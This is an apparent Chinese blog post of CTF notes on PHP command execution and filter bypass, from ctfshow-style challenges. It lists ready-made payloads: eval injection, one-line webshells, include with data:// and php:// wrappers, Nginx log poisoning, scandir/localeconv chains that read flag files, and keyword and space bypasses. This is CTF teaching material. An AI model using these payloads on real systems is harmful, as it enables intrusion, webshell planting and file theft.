首页 > 编程语言 >PHP命令执行与绕过

PHP命令执行与绕过

时间:2024-08-16 12:37:31浏览次数:13  
标签:php -- localeconv pos 命令 flag 数组 绕过 PHP

一、eval()函数调用--无严格过滤:

image

1、highlight_file()高亮显示:

?c=highlight_file(base64_decode("ZmxhZy5waHA="));

2、shell命令:

?c=system("tac fl*g.php");

?c=system("cat fl*g.php");

3、echo直接打印:(使用反引号包裹shell命令)

?c=echo 'tac fla*.php';

4、一句话木马:

?c=@eval($_GET[1]);&1=system("tac flag.php");

一句话木马 + cp拷贝命令:

?c=@eval($_GET[1]);&1=system("cp flag.php a.txt");

image

一句话木马 + php伪协议:

?c=@eval($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

5、include包含 + 伪协议:

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

?c=include$_GET[1]?>&1=php://input + POST提交PHP命令执行代码

6、Nginx日志注入:

Nginx日志默认路径-->/var/log/nginx/access.log

?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log

通过UA头写入一句话木马-->system指令 / 蚁剑连接

7、php函数调用绕过关键字符过滤:

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

代码演示:
localeconv()函数:

image

pos(localeconv()):指向第一个元素,不改变指针

image

scandir(pos(localeconv()))-->参数为.以此遍历当前目录

image

通过遍历目录-->获取flag.php文件的具体位置:

?c=var_dump(scandir(pos(localeconv())));

image

再通过next()和array_reverse()令指针指向flag.php所在位置-->show_source()读取即可:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

二、include()函数使用不当导致命令执行:

详见 --> 文件包含与伪协议

三、分隔符 " ; " " || " " & " " && " 的使用:

| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

(ctfshow-web42)
image

使用 || 只执行第一条命令:

?c=tac flag.php ||

四、关键字、关键符号、空格的绕过:

(1) 禁用 flag、tac等关键字:

flag --> fl*g
flag --> fla?
flag --> fl''ag

(2) 禁用 空格:

空格 --> ${IFS}、%09、< 等绕过方式

标签:php,--,localeconv,pos,命令,flag,数组,绕过,PHP
From: https://www.cnblogs.com/kgty/p/18362576

相关文章

  • SSM-国外鞋服代购平台-97782(免费领源码+开发文档)可做计算机毕业设计JAVA、PHP、爬虫、
    SSM国外鞋服代购平台摘 要随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,鞋服代购平台当然也不例外。代购平台是以实际运用为开发背景,运用软件工程原理和开发方法,采用Java技术构建的一个管理系统。整个开发过......
  • Phpstorm环境配置与应用
    PhpStorm是一款由JetBrains开发的PHP专用的集成开发环境(IDE),它提供了强大的功能,包括代码编辑、调试、版本控制、单元测试等,适用于PHP开发者进行高效编程。以下是关于如何配置和应用PhpStorm的一些基本步骤:1.安装PhpStorm首先,你需要从JetBrains官方网站下载PhpS......
  • 在Windows系统打开开始菜单,输入cmd 命令打开命令提示符
    ftp>pwd#匿名访问ftp的根目录为Linux系统的/var/ftp/目录ftp>ls#查看当前目录ftp>cdpub#切换到pub目录ftp>get文件名#下载文件到当前Windows本地目录ftp>lsftp>gettest.txt#获取目录中的文件下载到电脑ftp>lsftp>puttest4.txt......
  • macOS和 Window10 命令行禁用/启用IPv6本地网络
    macOS禁用/启用IPv6本地网络禁用IPv6本地网络#验证是否可以访问IPv6网络$curl6.ipw.cn2408:824c:200::2b8b:336f:cc9c#找到网络设备的名字,这里用的是Wi-Fi(因为macbook用的是无线网络访问,即Wi-Fi)$networksetup-listallnetworkservicesAnasterisk(......
  • PHP北流市志愿者管理系统-计算机毕业设计源码54353
    摘要北流市作为一个积极推动社区志愿活动的地区,志愿者管理系统的建设对于提升志愿服务质量、加强志愿者之间的互动和合作具有重要意义。该系统采用PHP语言作为开发主语言,结合ThinkPHP框架提供的快速开发和便捷操作,实现系统的高效运行和开发效率。同时,利用MySQL数据库进行数......
  • 计算机毕业设计必看必学!! 93494基于springboot 书店信息管理系统,原创定制程序, java
    摘 要书店信息管理系统采用B/S结构、java开发语言、以及Mysql数据库等技术。系统主要分为管理员和用户两部分,管理员管理主要功能包括:首页、轮播图、公告栏、资源管理(图书资讯、资讯分类)交流管理(留言板、留言板分类)系统用户(管理员、顾客用户)模块管理(图书信息、分类管理、购......
  • Linux打包命令tar极简示例_2
    只解压tar包中的某个文件这是tar包:只解压a.txt:上边的例子不大理想,再来一个tar包里带目录的:再弄个gzip压缩过的吧:......
  • 详解Linux命令--ssh
    ssh命令是Linux中最常用的命令之一,用于通过安全的Shell协议远程登录和管理其他计算机。本文将详细介绍ssh命令的用法,并给出具体的示例。1.基本语法ssh的基本语法如下:ssh[options][user@]hostname[command][options]:可选参数,用于控制SSH会话行为。[user@]hostname:......
  • 详解Linux命令--目录
    Linux是一个功能强大的操作系统,适用于从个人计算机到超级计算机的多种平台。对于初学者来说,掌握基本的命令行操作是必不可少的技能之一。本文列举常用命令,并给出最最基础的使用示例,并附上详细介绍的连接。文件和目录管理1.cd(ChangeDirectory)用途:改变当前工作目录。......
  • Git零基础入门与常见命令介绍
    Git 是一个开源的分布式版本控制系统,用于高效地处理任何大小的项目。它由LinusTorvalds为了帮助管理Linux内核开发而开发的开放源码软件。与常用的版本控制工具(如CVS、Subversion)不同,Git采用了分布式版本库的方式,不需要服务器端软件支持。目录1.安装Git2.基本命令介绍2......